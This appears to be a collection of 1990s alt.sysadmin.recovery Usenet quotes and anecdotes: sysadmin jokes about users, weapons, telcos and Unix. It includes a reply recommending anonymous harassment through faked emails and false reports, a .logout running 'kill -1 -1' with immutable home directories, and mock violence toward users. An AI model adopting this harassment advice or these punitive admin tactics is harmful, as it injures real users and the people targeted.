(198.7.0.2): thunk_seq=227. pain_level=5 :1 whack from panix.com (198.7.0.2): thunk_seq=228. pain_level=0 :1 whack from panix.com (198.7.0.2): thunk_seq=229. pain_level=0 :1 whack from panix.com (198.7.0.2): thunk_seq=230. pain_level=0 :ICMP Head Unreachable from mallet.luser.com for impact.linear.noggin from :panix.com. Error: skull has turned to thin paste. Mount scratch luser. : :panix: lan % : :----------- %% >SP> Anyone else think that giving windows the ability to run a telnet >SP> client was a bad idea? >I think giving windows the ability to run was a bad idea. I didn't think Windoze had the ability to run. Crawl maybe. ObASR: Was called out a while back to someone who was terribly afraid she'd lost a whole lot of very important word processing, and thought she might lose her job over it. Turned up, out of hours, looked at the screen, restored Program Manager from being maximised, and said, "Er, that icon at the bottom of the screen that says 'Microsoft Word' underneath it - just double-click on that." She'd only gone and minimised it. Shortest job I've ever done in m'life. Still charged 'em full rate. %% : My thoughts: : Beer drinking 101: Learn all about the different brands of beer available to : Beer Drinking 200: Now that you've become a slobbering drunk, learn how to : program while smashed. Debug while blitzed. And learn how to make your own beer. : Final exams to be completed on a laptop while drinking a case of your favorite. : Speed counts. Naturally you are leaving out... Scotch drinking 101: in which it is learned the difference between single malt scotch and liquid shit. Scotch drinking 200: How to base your required rate of pay as to how much scotch you frink, and of what quality ( the formula for daily consumption is used here ) Verbal abuse 101 : Learn how to tell them what to do, how to do it, and what orifice to do it in ... using most known variants of slang, dialect and accent as seen in the united states. Verbal Abuse 200 : International Verbal abuse. Maldicta international, know the differnce between Sod Off and sawed off. A must for dealing with lusers all over the world, or just to impress / confuse the faculty Hmm thinking... ----------------------------------------------------------------------------- The ehT Entropy delchi@dorsai.org yportnE Technician naicinhceT This Lifestyle Brought To You By O'Reilly & Associates Makers Of The Many Books You See My Nose Stuck In ----------------------------------------------------------------------------- %% >Try my favorite .logout file (which just happens to be the default for all >newly created users, plus any we find leaving processes behind): >kill -1 -1 # This destroys any processes you've left running by mistake >tput clear # This just clears the screen I took this wonderful suggestion and put it in the /etc/skel directory. Then I modified the adduser program so that it does the following: chown root.root /home/l/luser/.logout chattr +i /home/l/luser Those of you who don't use the ext2 filesystem might be interested to note that the "chattr +i" makes the file immutable by anyone. Root must "-i" the file to do anything to it. The only drawback to this scheme is the poor sods who telnet into the system more than once.... Anyone have a suggestion for an elegant way to solve this one? %% I'm not sure how, but I ended up in XXXX's shell scripts directory and found the following script (designed to hose any process XXXX doesn't like). Naturally it has to be run as root (which is where I saw it running). I thought you might get a kick of out it. #!/usr/local/bin/perl $arg = shift(@ARGV); if ($arg =~ /^-./){ if( $arg ne "-k" ){ print "Usage: nail [-k] name...\n"; exit; } $KILL = 1; } else { push(@ARGV,$arg); $KILL = 0; } if( $#ARGV < 0 ) { print "No user specifed should I do pgut1 (Y/y)?\n"; exit; } [etc] %% -- Sean B Purdy, system administrator sean@fastnet.co.uk Telephone: +44 (1273) 675314 Fax: +44 (1273) 621631 FastNet International Ltd - The User-Friendly Internet Provider +++ ????? +++ Out of Cheese Error. Redo from Start. %% SRI International RFC 666 ========================= New UNIX Protection Configuration Group SRI Network Information Centre 17 May 1990 This note describes a modification made to the standard UNIX protection configuration bits. Normally, there are nine bits, which specify, independantly, permission to read, to write, and to execute the file for its owner, to members of the owners group, and to all other users of the system. These bits are normally referred to by the following one-letter abbreviations: u = owner g = group o = other To these three, the following will be added: h = ugrad (the 'h' standing for "hair", since it has been established in a recent survey [1] that ugrads have more of this than the average human). This is a simple change that can be effected immediately, and entails no modification of the UNIX filesystem, since by default these bits are always set to 0. This abates what has been described as "the ugrad peril". Patches to make these changes are currently being distributed. References: ----------- [1] Knife et al, "No Long Hair", 1990. %% -- hecubus@satanic.org Reverend in the Universal Life Church "Have you hugged your LART today?" | http://satanic.org/beer I checked their DNS and found these: Life.sucks.such.shit.I.should.hide.in.the.fucking.cabi.net oh.bugger.I.lost.the.key.to.the.flipping.cabi.net Big.fat.fucking.huge.mother.of.God.cabi.net Fuck.me.what.a.small.cabi.net oh.shit.I.broke.the.cabi.net riffer@afn.org : At Borger King we do it our way. Your way is irrelevant. Jeff The Riffer : Drifter... : Homo Postmortemus : %% -> >This reminds me of my *#)*@)@!)*@)@ cow-orker. He's a sysadmin by title, -> >but he lacks a clue[1]. His solution to any problem is reboot the machine. -> He has a clue. Now, there once (once mind you) was a sysadmin (cough) at -> a local university here (who shall remain nameless, although its initials -> are Florida Atlantic University) in the CSE (Computer Science and -> Engineering) Department who would, when something didn't work, would -> RE-INSTALL THE OS. -> Printer didn't work? Reinstallation time! Scroll-lock key (okay, so one -> system was a Linux system) on? Reinstallation time! GUI running in 640x480 -> mode and not the super high but exceedingly tiny 1280x1024 mode? -> Reinstallation time! -> Except the one time he was attempting to add a machine to the network. In -> it's [1] infinite wisdom, picked an IP address at random from the subnet for -> the building. -> It managed to pick the IP address for one of the main servers in the -> building for the CSE department. Entire subnet (which included EE, Math, -> Chemistry and Geology [2]) was nearly useless for the week it took to track -> down the problem. On the real sysadmins didn't track it down, it tracked -> them down to complain that the it was having trouble with the machine. -> Very strange. It was a Ph.D. candidate, had written a book on writing -> OS/2 device drivers, and was totally incompetent with computers. Arg! -> At least it's no longer around. You know, I think this is the only way (perhaps the easiest way?) to solve some Windows 95 problems, short of deleting it....wait a minute....why didn't I think of that before??? %% I had actually obtained time off work ("That's good.") to have a hernia operation ("That's bad.") that I had needed for quite some time. I was given a local anaesthetic and the was babbling about computers and networks to the doctors while my mind slowly drifted away. I woke up in the recovery room, and a nurse asked me how I was feeling. I could not feel most of my body (try that sometime...) and was wondering where it had run off to, but I said I was feeling ok. This nurse then said: "Dr. Maddock said you knew a lot about computers. I have a problem with my SLIP account. It won't connect." I remember wishing for more anaesthetic at that point. %% Lars> That's not fair -- you can kill him only once. Timothy> So, kill his friend too. :o) Ghengis Khan would have been a great bofh. Lars P. Fischer, fischer@dina.kvl.dk, http://www.dina.kvl.dk/~fischer Think Globally & Act Locally: hate the world and get pissed at the local pub %% i guess there's nothing more i can do. when our most stable POP started telling users this morning that: do DO DOOOOH your call cannot be completed as dialled, please check the number and try again i thought to myself "oh, must be another lame telco administrative error. i had best call the lame telco administrator and see what's going on." Me: Lame Telco: Me: Me: hmm, maybe i should try the supersecret emergency only contact number? Me: Lame Telco Emergency Support Line: We're sorry, we are handling a surprisingly large number of emergency calls at this time, and no operators are available to assist you. Please call back later. Me: Me: Me: maybe i should call Avi in DC. maybe Avi will be clueful. maybe avi will know something that i can tell the lusers to get them off my case. Avi: hello? Me: Avi: call bruce. here's the number. Me: Me: hi, may i speak to bruce? CPCN Luser: bruce isn't here. Me: do you know when he will be in? CPCN Luser: no Me: i have an emergency. do you know how i might reach him? C.L.: no Me: thanks ever so much for your help. Me: Me: hey, steve, what's happening with the philly POP? Steve: oh, i guess it's down, people are complaining. Me: well, has anyone looked into it? Steve: nah, we don't know anything about it. avi's not here, so... Me: oh. i guess you want me to call bell, then. Steve: yeah, that would be nice. Me: whatever. bottom line: i FINALLY reached our business rep, who could find NO reason for the error message. she also couldn't fix it. Telco Rep: well, it's snowing Me: so? Telco Rep: well, the repair guys don't like it. Me: so? T.R: well, maybe if i ask nicely... Me: look. i don't care what you do. but if the problem isn't fixed or at the VERY LEAST identified within 3 hours, heads are going to roll. i will be in your face so much you won't know what hit you. I may walk softly, but i carry a BIG ASS LART!!!! oops. i didn't say that. but i wanted to. Me: look. it is an emergent situation. it must be fixed. make it be so. TR: i will try. Me: fine. thanks. bye. i've given in to it, and i feel somewhat queasy. but that burning pain in my stomach has subsided. %% Having been called yesterday to look at a Mac where someone had dragged the entire 550 files in the Netscape cache folder onto the desktop, a coworker of mine remarked, "We cannot anticipate the end user who is an anus." ----------------------------------------------------------------- |\ _,,,---,,_ OS Software Engineer, ZZZzz /,`.-'`' -. ;-;;,_ Applied Risc Technologies, |,4- ) )-,_. ,\ ( `'-' Cambridge, England. '---''(_/--' `-'\_) Email: wturner@applied-risc-tech.co.uk %% In the Hitchhikers Guide to the Galaxy, Wonko the Sane leaves the human race after he finds instructions for use on a toothpick packet. I think I may now have to follow suit. Occasionally even our lesser lusers need to log on a VMS machine where their mailboxes live. So I walk said luser through it over the telephone. We telnet from their Macintosh successfully... ME: Ok. You can see the window with a username prompt? LUSER: Yep. ME: Type your username in and hit return LUSER: Upper or lowercase? ME [Merciful God! Signs of cluefulness!]: Doesn't matter. Now type your password. It's not going to display on the screen, so don't panic. LUSER: It says "User authorisation failure" ME: [thinking I'll try logging in as the luser, since I know their ridiculously-easy-to-guess default password] What was your username again? I'll try logging in as you. Strange, it works for me... [yeahh right, of course it bloody works] LUSER: ...wait! Should I have typed _my username_ in? ME: Errrr.... LUSER: Oh! I typed "User name". Like you said. FX: Phone drops, sound of solif yet fleshy object repeatedly hitting a hard surface. stephen (sadly, not a sysadmin, but I piss espresso). %% >>"Yeah, I forgot my passwoOOOOooooooooorrrrrrrrrr d." >>"Have a nice day..." >What, you users actually tell you they've forgotten their password? Mine >just come and find me and say, "Uh, I think the computer has forgotten >my password . ." I've had a few cases of `Why have you changed my password?'. Unfortunately, being new to the job, I was LARTless at the time. Ian -- Ian Donaldson, icd@ecr.mu.oz.au | Assistant Programmer | We are /dev/null Department of Engineering Computing Resources | You will be redirected. University of Melbourne | |> The swiss army knife had already gone into my rucksack (it was hand |> luggage, though, but they never notice :) but I'd forgotten about my |> keyring. |> |> It has a rifle bullet on it. |> Not live, percussion cap fired, and coated in nickel (or similar bright |> shiney metal) .... its a nice weight to make a good keyring, and I |> figure its the best use for a bullet, apart from shooting lusers. |> |>I put this on the tray, walked through and went to pick it up again, |>only to find the woman there had already picked it up, and asked me |>to go with her (oh, bother, if they pinch it I _won't_ be happy). |> |>Took it to the supervisor who looked at it (without touching it, |>holding they keys) ..... I said it was dead, percussion cap fired, |>etc ... then he told me to keep it in my pocket and not get it out |>during the flight :) What, so you couldn't throw it at anybody really, really fast? Or were they figuring your plastic Glock slipped by them somehow? Years ago, someone, I believe Penn Gillette, wrote a piece in one of the Ziff-Davis 'zines announcing his intention to write an AUTOEXEC.BAT for his laptop that did the DOS equiv of echo "Arming..." sleep 1; echo "10..."; sleep 1; echo "9..."; sleep 1; echo "8..." %% I just remembered a device a friend acquired in Boston a few years back. It was a grenade, with the guts removed, mounted on a nice wooden plinth, with a little sign attached "In case of emergency, please take a number" Attached to the firing pin was a disk with "1" engraved on it. The airport security guy simply wanted to know where he could get one. I reckon it would make an excellent sysadmin desk ornament--. >>The airport security guy simply wanted to know where he could get one. I >>reckon it would make an excellent sysadmin desk ornament--. >> > >Mine says "helpdesk - please take a number." Ah, yes, mine says 'Complaints? Take a number'. Another fine item from the US Cavalry catalog (I've found sooo many BOFHish goodies in there) U.S. Cavalry in Louisville/Ft. Knox had them in their catalog. I thought about it then released my lusers can't read and would probably pull the pin out anyway so I would have to keep buying new pins. Coffee, nose, kb. As usual. (Nice idea) Almost as good practical grenade joke can be found from local Signal Corps unit's repair shop, in their coffee room. It looks normal, but it has been cut to 2 pieces and while open, a good quality high voltage capacitor was spot-welded to the halves. Then it was glued back together, isolating the halves from each other. Normal procedure is to charge that cap with an ancient isolation resistance meter (voltage >3kV DC), place the grenade on the table, and wait till someone grabs it. It keeps its charge over 2kV for several weeks. Stunning effect when touched :-) One of our secretaries wandered in a little while ago and told me that the computer changed her password without her permission. Caps lock anyone? %% ---------========== J.D. Falk =========--------- | "I have this idea that there is an Ideal Unix Box somewhere out | | there, waiting perhaps in the Great Big NOC In The Sky for us, just | | sitting there with vast amounts of hard drive space and RAM, and | | whose load average has never been above 0.10. One day, I'm going | | to login to that console (and not see "You have new mail"), su, run | | 'top -q' and weep tears of joy at the pure, unloaded beauty of the | | thing." -- Eric Sorenson | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- Got this in the mail today from the 20 past midnight list server. It sure discribes my attitude today. Even though I just got in and my monitor is filled with sticky notes. One of those days? Geez. "...The renewed shock had nearly made him spill his drink. He drained it quickly before anything serious happened to it. He then had another quick one to follow the first one down and check that it was all right. He then sent a third drink down to see why the second hadn't yet reported on the condition of the first. He poured another drink down with the plan that it would head the previous one off at the pass, join forces with it, and together they would get the second to pull itself together. Then all three would go off in search of the first, give it a good talking to. He felt uncertain as to whether the fourth drink had understood all that so he sent down a fifth to explain the plan more fully and a sixth for moral support." -- Douglas Adams, "The Hitchhiker's Guide to the Galaxy" >: ObCow-orker: >: Couldn't work the Start button on Win95 - after 6 tries I showed him >: which mouse button to press.... >I give up. Join me in a monastery anyone? Or maybe a properly armed >B-52 would be preferable, given this group's prediliction for A) planes >B) nasty weapons and C) horrible sticky ends for lusers. This is the same person that can't work File Manager but has been running Unix for years. I tried to explain that perhaps a little flexibility was prudent, but to avail. A beard and sandles Unix traditionalist. %% ObASR: Them: Oh, by the way, you wouldn't mind installing HPUX 9.07 over HPUX 10? So we can run a few programs? Oh, and by the way... We want to keep this as a stable development platform. Me: Gahhhh..... (Three statements: Massive recompiles (GNU _is_ our devel. platform.) LVM. Allegro Lisp (Only program under 9.07 what won't work under 10.)) But... really, I like my new job. I really do. I don't have to deal with the student labs any more... (No sir, I don't know what happened. The computer ate his disk... Then it spat the disk out at 1/4 c. Tsk, tsk. Shame though that the luser was standing in front of the computer at the time. And I just happend to be on the other side of the steel-reinforced concrete wall over there. Maybe we should send the Mac back to be checked.) %% Ian Greenhoe is ... | I love my new ergonomic keyboard! ... the greenman | greenman@apl.washington.edu | Now, if there was only an ergonomic luser. greenman@u.washington.edu | %% >True. tin is the most offensive memory hog I see in general use. You've obviously not seen Netscape running then. A friend of mine ran the NT version under some sort of debugger: - 32MB working set - > 700,000 context switches in the first 30 seconds after startup - Comsumes ~100% CPU doing nothing. Someone else who runs it on 64MB SGI's has described the amazing way in which its memory requirements grow linearly with time until it uses all available physical memory and the machine starts thrashing itself to death whenever you do anything. Admittedly tin is an incredible piece of shit which comes a close second to Netscape. %% >My home PC's keyboard has been acting just plain *awful* since 15 Jan. >Periodically, keys would stop working, macros would randomly reassign >themselves, keys would stick, or similar things would happen. (It's a four >year old Gateway 2000 124-key AnyKey keyboard, and I haven't been able to >suspend the macros in years.) When the thing started inserting spaces- and >I mean a *lot* of them, like four lines' worth in less than a minute- I >snapped. I have no screwdriver; I have a flat-head type affair in my Swiss >Army knife. I took out the seven screws holding the machine together >(Phillips), the two holding the scroll/num/capslock lights in place >(Phillips), and then the twenty-three tiny little Phillips screws holding a >large sheet of metal in place... the first two with the flat head, and the >twenty-three with just the tip of my knife. Took it into the bathroom, >washed off the mylar membrane with a facecloth, and dried it, then put it >back together. It's worked perfectly ever since. Did what I did have any >kind of actual technical skill behind it, or have I just intimidated the >keyboard into working? I suppose it -could- have decided it was "all washed up". *snort* : snapped. I have no screwdriver; I have a flat-head type affair in my Swiss ^^^^^^^^^^^^^^^^^^^^^ Don't you know Rule 26? 26: You have a set of itty bitty screwdrivers and _always_ know where they are. Probably a bit of both. I had a car with a weak solenoid, and consequently, the starter would have problems engaging the engine. I had a 18" 2-by-2 that I would haul out to beat the painful-living-hell out of the starter so the thing would loosen up enough to lock. Pretty soon I just had to THREATEN it with a thrashing and it would work. The intimidation even worked on the lusers milling about. %% >: > He doesn't have the tcp/ip shit installed. He should start by >: >installing OS/2. >: >: Exsqueeze me. I believe they were looking for a *real* operating system. > OS/2 is a real operating system. Well, half of one. But when it's >that good, who needs the other half? When it is that big, who wants the >other half? But I have a nasty feeling that the other half maybe be lurking lower in the depths of OS/2, and the other half may be.... AIX! Anyone else looked long and hard at OS/2's sendmail and thought "maybe I don't need email that much...." First time I looked at OS/2's sendmail, all I could think was "Well, at least this git's been cut loose from the AIX team." %% Hmm. At Usenix, the convention center next door was hosting some sort of military trade show. Mainly booths from communications/computer type companys, but also some other interesting stuff. I picked up brochures for several potential larts, including some sidewinder sales literature. (For some reason they wouldn't let me buy some there. And the guys hawking FA-18's wouldn't even talk to me. Probably the long hair). I'm still not quite sure who was selling what to who. I mean, one hopes that the air force didn't decide to buy the F22 over the F23 because of sales literature at a trade show. Weirdest of all, however, was one particular booth: The NSA! They where peddling, I kid you not, their own secure web server! I wish they had been giving away cool NSA toys. %% Some years ago I used to get some restricted-distribution military hardware journal via a friend who qualified for the restricted distribution... this thing had amazing ads in it ("Buy one of our cruise missiles before May 1st and we'll throw in a crate of assault rifles for free!", "A sense of loving care and devotion goes into every one of our antipersonnell mines", "All this *and* the air-to-air missiles, for only...", etc etc). They had bingo cards where you could send for samples of antitank shells and all sorts of other wierd things... I was really tempted to try and get some of this stuff, but I suspect our Internal Affairs dept wouldn't have seen the humour in it. I've also got a Rockwell ad from the early 80's (before political correctness) with the title "We deliver the goods", and a picture of an SLBM being launched. I'd love to get that as a poster for my wall. %% > >And BSDI, and SCO, and Unixware, and Consensys.... at least. > I know lusers can be annoying at times, but do they really deserve that? > ("Oh, that's an unbundled option - you get "ls" with the system, but you have > to pay $200 extra for "-l"). I never liked this keyboard much anyway. Any idea how to remove tea stains[1] from the O'Reilly 'Sendmail' book though? Martin [1] I know that we're supposed to drink coffee on this group, but I reckon caffeine is where you find it. %% =========================================================================== William Beckner - System Manager/SysAdmin Ph : (309) 694-5513 Resource Sharing Alliance - East Peoria, IL FAX: (309) 694-5297 http://www.rsa.lib.il.us/~wbeckner/ --------------------------------------------------------------------------- "In God we trust, all others require a password" =========================================================================== :::What's a LART? ::Light Armament, Recoil Type. :Interesting that you should bother with recoilling weapons; much more fun can :be had if you use something what doesn't recoil much. :For instance, with no recoil, you can drop the word "light". Heavy is much :better; Yeah, but that's what the BOFH (Big Ordnance, Fucking Heavy) is for. : For instance, with no recoil, you can drop the word "light". Heavy is much : better; after all, you want to teach the Luser not to bother you again... If you are good with your equipment, you don't need heavy. The third most dangerous thing in the world is an intelligent man with destruction on his mind. The second is a luser and a unix console. The most is a Second Lt. with a map. >Well, one prank that I really want to pull off before I graduate is fairly >complex.. The idea is that I write write a little TSR that loads and >monitors incoming IPX traffic for packets on a specific socket. Packets >received would contain pitch and duration information which would be >captured by the TSr and played as notes on the PC's speaker. Then I could >write a "music server" program and have it conduct the computer lab in a >quasi-symphony, maybe in the midddle of a class.. :> I even know what >song it will play: The William Tell Overture. > >Computer 1: Da da dum, da da dum, da da dum dum dum! >Computer 2: (on the other side of the lab) Da da dum, da da dum, da da > dum dum dum! >Computer 1: Da da dum, da da dum, da da dum dum dum! >Computers 3-6: (all next to each other) Da da DUM da-da-da dum-da dum! > >(Well, it's really funny when I picture this in my imagination... ) Wish I had enough programming capability to arrange something like that... myself I'd go for "Ride of the Valkyries", or "Also Sprach Zarathusa". I mean, really. The whole lab thrumming in harmony to the theme from 2001... %% There are real weapons with this sort of punch. For example a 20mm Lahti rifle will punch though 4" of armour plate using the original AP rounds. The really sad thing about this weapon is that it originally sold for (hold on for this) $29.95 when it was introduced to the US as military surplus. We could've organised a group purchase for a.s.r members. The downside is that it weighs 130 pounds. For a more portable serious LART, you could get a Maadi Griffin .50 BMG pistol. It looks incredibly ugly, but has a very efficient muzzle brake so it doesn't take your arm off when you fire it. Peter ($29.95 for an anti-tank rifle. Sob). %% !:In article <4est85$ng5@osfb.aber.ac.uk>, Gary Barnes wrote: !:>[2] This job used to be done by the popd on our mailhost, but this job was !:>moved to a less loaded machine, and bangd was born[4] !:What happened to snapd and crackled? Kelloggs unbundled them after Rice Krispix 3.5. You also have to pay for user licenses now, which is such a pain. [Sung to the tune of _Breaking Up Is Hard To Do_ (Neil Sedaka covered it (twice), but I think it was written by Carole King)] [Entry] My system's crashing down doobie doo down down My job is crashing down doobie doo down down My life is crashing down doobie doo down down 'Cause backing up was something I didn't do. [Verse 1] Don't take that disk away from me. You'll leave me hanging, not in ecstasy. For when it's gone, my job'll be doomed. 'Cause backing up is hard to do. [Verse 2] My code is gone, no life for me. No buying Ginsu knives from QVC. I'll have to hack the weekend through 'Cause backing up is hard to do. [Chorus] They say that backing up is hard to do. I've never done it so don't know if that's true. My career's doomed, 'cause I have no clue. Instead of hacking up I wish that I had backed it up back then. [Repeat Verse 1] [Repeat Entry as Coda] Lyrics copyright (C) 1996, Nick Cuccia. All rights reserved. Use by lusers not only allowed, but MANDATORY. %% I agree. Vatican II made a mistake dispensing with Latin in the liturgy. Latin is like Unix - something that the uninitiate dread and regard as arcane. It is good to keep an aura of ritual and mystery around what you are doing, to prevent the "luser who knows just a tad too much" problem [1] And there is nothing like scaring your lusers by sitting at the operator desk doing your latin translations [2]. [1] Luser: I can't run netscape anymore. Me : What did you change? Luser: Nothing. Except I deleted some files I didn't need. Me : These filenames began with ".", didn't they???? *arrrrggggggvvvvv* [2] Luser: Latin?? Me : Yep. Luser: *boggle* (as sie visibly ponders the other magical weird things the sysadmins do) %% > Theres always one prat who will mess up his work, no matter what you tell him > Today this berk has lost his word document for the 4th day in a row, simply > because he refuses to believe theres a problem with Micro$0ft WfW 6.0, in > that if you try to work from a floppy say "goodbye data". Strike #1 > This pillock is a business school student (of course), and was once caught > trying to boot a dos floppy on a Vaxstation. He's also the one who took > a PC disk, found it wouldn't work in a Mac until he'd initialised it, then > insisted on us getting his data back. Strike #2 > I have been instructed not to push him over the balcony, electrocute him, > or give him one of my "death disks" (no media, just emery cloth). Strike 3, he's outta there! > What the smurf can i do? Reccomendation -- anonymous harassment. Faked emails (bidirectional), postings, anonymous reports of illicit activity on his part. You know the old BOFH routine, don't you? %% : :cat \etc\coffee | \dev\nose > \dev\console! : "\"!? "\"!? You misspelt "/". HTH. : And how exactly can one pipe something _through_ a /dev ?!? That's why it's so painful... > : (On the other hand I've not been on top form today, myself. Went to > : the dentist this morning. Left dental surgery. On way out, wondered > : why the dentist was chasing me, then became worried about how fuzzy > : she looked. Dentist caught up: finally I realized she was waving my > : glasses at me. Aargh. Too much perl rots the brain.) > Oh wow, I always thought it was the Novocaine that was doing that to me. :-) Speaking of Perl, I was reading some stuff by H.P. Lovecraft the other night because I'm often too stupid to actually sleep even when I have the chance, and realized that Perl is a computerized shoggoth. > Larry Wall > lwall@sems.com >Larry Wall >lwall@sems.com And so you see, the rare "larricus wallii," more commonly known as a Larry is lured from his nest. Usually, the Larry sits alone at a keyboard, munging text from one form to another. It is a little known fact that a young Larry looks somewhat Llama like but a mature Larry is almost indistinguishable from the Dromedary Camel. The mating call of the Larry is believed to be `Perl! Perl!' which is probably why one appeared just now. If we are quite and make the mating call again, we may be lucky enough to see one again. Please, no flash photography, we don't want to frighten him off... Perl! Perl!.... Perl! Perl!.... "If you can't say 'fuck', you can't say 'fuck the government!'" - L. Bruce If you think I speak for my employer, they'll be happy to correct you. Nathan J. Mehl -- Just another bozo on the usenet bus -- nathan@bbnplanet.com homepagesque ObAsr: Was sitting back this mornin' debating wheather to go play in the snow or to catch up in some much needed sleep when got a call on the dreaded phone. "You know that funny thing with thelights on it?" (ISDN bridge) "yah", says I warily. "Well, a bunch of the lights on it went out.. " "this happens every morning when the other end reboots", says I. "Oh. I um.. unplugged it and plugged it back in, and now Trouble[1] won't stop beeping." It's LARTing time. [1] I named the DEC 433MP SCO box that is our nameserver, webserver, and gateway only because the ISDN drivers were for SCO "Trouble". A better name I have never come up with. Anyone else out there worked with SCO? Anyone else out there hate SCO? (question: How do you know if a blonde has been using a computer? Answer, there's white out on the screen. And how do you know if another blonde has been using the computer? There's writing on the white out) -- | Matthew N. Dodd | winter@jurai.net | http://www.jurai.net/~winter | | Technical Manager | mdodd@intersurf.net | http://www.intersurf.net | | InterSurf Online | "Welcome to the net Sir, would you like a handbasket?"| %% This reminds me of a wonder example of lusers in action....and it's not computer related so step back.... On the first ship I was on in the Navy, we were getting ready to fire an exercise torpedo...normally not too difficult of a task, load the torpedo, charge the air flask to around 1500-1600 psi and pull the lever and away it goes....well the chief (mid management) and the division officer decided that they needed to get their hands into the mix also. They double checked and triple checked everything that our lowly torpedoman had done (he could be nominated king of all Lusers) and finally were satisfied that everything was ok. So they phoned up to sonar and let us know all was ready and we could fire when ready. So we did....the torpedo tubes have this little access cover on the side for examining the connections on it, everyone in the magazine had neglected to tighten it down....so we pull the switch and 1500 lbs of air came shooting out the side of the tube, the torpedo nudged forward and skidded across the deck and bounced nose first off a lower deck, fell into the water, hit the ship and then dove under it. When it emerged on the other side....it did an act like a porpoise...up and out of the water over and over again....when questioned about this the best thing they could come up with was....the torpedo was too big... %% Clueless Luser of the Week Nom: the "human" that went through three of the brand new trackball pointers that my shop had just gone to as a company standard. (Forget the brand, but it had a pretty good-sized ball and buttons.) Pretty savvy field tech brought him a fourth unit. (Mr. Luser had gone through three in a month.) Field tech asked luser to use ball. Luser promptly pulled all the slack he could out of the cable, put that puppy on the floor, and began rolling the ball with his foot. ...and then complained that it was really hard to position the pointer that way. -- ...and I bet it was even harder to double click. INTP, recovering SysAdmin Mark (mstaple@insync.net) %% :: Have we already had the Sysadmin Pet Thread yet? If not, why not? :: I think geese might be useful, they could serve as an Early Luser Warning : : Fucking PIT BULLS. A pair of them. : : Ferrets are kinda cool as well, but they totally fail to inspire :any fear of any kind in anything, execpt maybe mice. No, this isn't a good idea. The purpose of a sysadmin's pet is the same as that of the LART; it should immediately inspire any Luser with the notion of rushing out and learning how to use a computer without bothering anyone. Scorpions are nice; releasing a few into the computer room at night should be good for a laugh. Of course, you, the Sysadmin, will have your own personal UV light (scorpions glow under UV) for finding your pets when they "escape" but nobody else will have such a light. Tarantulas again are quite entertaining; so also are Robber crabs. There are landgoing hermint crabs, with claws that on large specimens can open tin cans. Or Lusers's skulls. For defence of the computer room, a spitting cobra is a nice acquisition. Keep the heating turned up to keep it nice and warm; that way its reaction time is nice and fast. To complete the outfit, a nest of hornets should do the trick. Dan H. %% ObASR: I'm on vacation this week. So of course I get the phone call when one of our lusers anon-mailed everyone a message with escape chars in the subject line designed to set your terminal to inverse, blinking, alternate characters. At 11pm. Grrr... -Kurt >My first indication that I was out for a *strange* life came in the >seventh grade. I'd learned everything they had to teach me in >chemistry class by the time the year was half done, so the put me >in the back of the lab with a few books and said "have fun, learn things". >I learned how to make chlorine gas. It was green, it was pretty, it >was *really* cool. It evacuated the entire middle school for four >hours, and brought 'round the fire department, with exhaust fans. Ice cream, asr, monitor, keyboard, wall behind keyboard. The rest is self explanatory. %% >> Fucking for Complete Unix Geeks >That would be something like >who | grep -i blonde | head unzip ; touch ; finger ; mount ; gasp ; yes ; umount ; sleep Once you start this game, your {,s}bin directories will never look th same again. Just think what these commands *might* do: uptime strip ramsize strings g++ [etc] >I probably shouldn't mention that I'm sitting on top of multiple >T3's peering at each of the major NAPs, should I? I mean, that >would be, like, cruel. You .. You.. Bastard! *sob* ObASR: He and I discovered this really GREAT bug in the computer systems at Caltech. In those dark days, all student accounts were on a PDP-10, and they gave you $50 worth of computer time. We discovered that if you logged on just before midnight, and logged back off just after midnight, the accounting program would subtract the time you logged on from the time you logged off, get negative time, and would then subtract negative dollars from your account! We ran our little $50 accounts up to $200-300 and then stayed up all night playing a Star Trek game on the computer to burn up the accounts. It took the BOFH about 2 days to figure it out, and shut us down. ;=) >Funny, I've not *had* a crash in months.... >"Thank you Mister Linux Bunny." luser to Linus: "But doesn't asynchronous metadata updates cause problems if the box crashes?" Linus to luser: "Linux doesn't crash. If you are worried, get a UPS." --Dave (don't you hate it when computer programs try to hyphenate Welsh words between the l's in an ll?) On a happier note, this passing fantasy crossed our minds yesterday: luser: Hello, tech support? tech: Yes, how can I help you? luser: I'm having a problem with Endora. ^^^^^^^ tech: Oh, that's EUDORA. E-u-d-o-r-a. If you have any other questions, please give us a call. *CLICK* meek@execpc.com http://www.execpc.com/~meek Michael Mittelstadt - Systems Administrator, Hopeless Coffee Addict Don't you folks KNOW what "RF" stands for? In college, when we did an RF on somebody, it was generally taken to mean "Royal F**king." By definition, rm -rf IS an RF. ;=) At NU there was a poster on the wall, blank except for a cross with the words "Bang Head Here". I'll send you a copy.... When I came home from work yesterday, there was a color picture of Linus sitting on the printer. The thing is, that I'm pretty darn sure *I* didn't submit it to the printer. Makes you wonder, doesn't it?? %% Right, I've had enough. Monday was fine. I had the day off. Just seen the woman off on the train. Feeling mightily relaxed and content. etc. Actually did some shopping for once. Cool. Life was luser-free and bearable. Monday evening. Logged into work. clickety-clickety. 11.20pm. Line drops. Fine. Redial. Engaged. Redial. Engaged. repeat 50 'redial;engaged' Oh well. Finally get in about midnight. OK. Good. Quick check. No traffic on one of the leased lines. Hmm. Who's logged on. Me. And me alone. Not good. Not good at all. Quick call on the other line. Hmm, me logged on (out of a total of 42 modems) and an engaged tone. Fuck. 25 minute high-speed walk to work. Last fag long gone. Get there. Some of the lines are back on. Very bad thoughts along the line of 'Oh dear, I wonder if I've come all the way up here for nothing'. Play with the lines. Nope, still only got about 12 working. Monitor situation. Lines going up and down all over the place. Pick up voice phone. No dialling tone. PIck up other voice phone. Strange noises from hell. Give up and call the telco. After being on hold for 5 minutes, finally find out that telco's backbone suppliers are doing major work to one of their switches. Well, nice of them to tell us, so I wouldn't have had to trog through the bloody cold weather for a mile and a half at 12:30 in the morning. Bastards. Got to bed at 5am on Tuesday. Which of course meant I was completely tired throughout the whole week, which makes the whole luser-on-the-phone thing a lot less bearable. Plus the calls from people who say things like "What's upper-case?", and the other guy who spends 14.5 minutes of a 15 minute phone call slagging off A.N.Other ISP, and about 0.5 minutes getting the info about us that he actually needs. Like I have anything better to do than listen to Mr Wankface criticising his ISP. And he had the gall to ask _me_ what I thought of it all. "Quite frankly sir, I don't give a fuck". And now, to top it all off, I have to sort out lusers _personal_ problems on Mono... It's fairly standard to deal with morons who've forgotten their password, or who can't find such-n-such a section. But also, I have to become an instant psychologist to stop some drunken lad from harassing some poor girl with his deepest murky intimate past. Why me? What did I do? I do good stuff - I'm not a bad person... %% ========================================== | ,dP""8a "888888b, d8b "888b ,888" | | 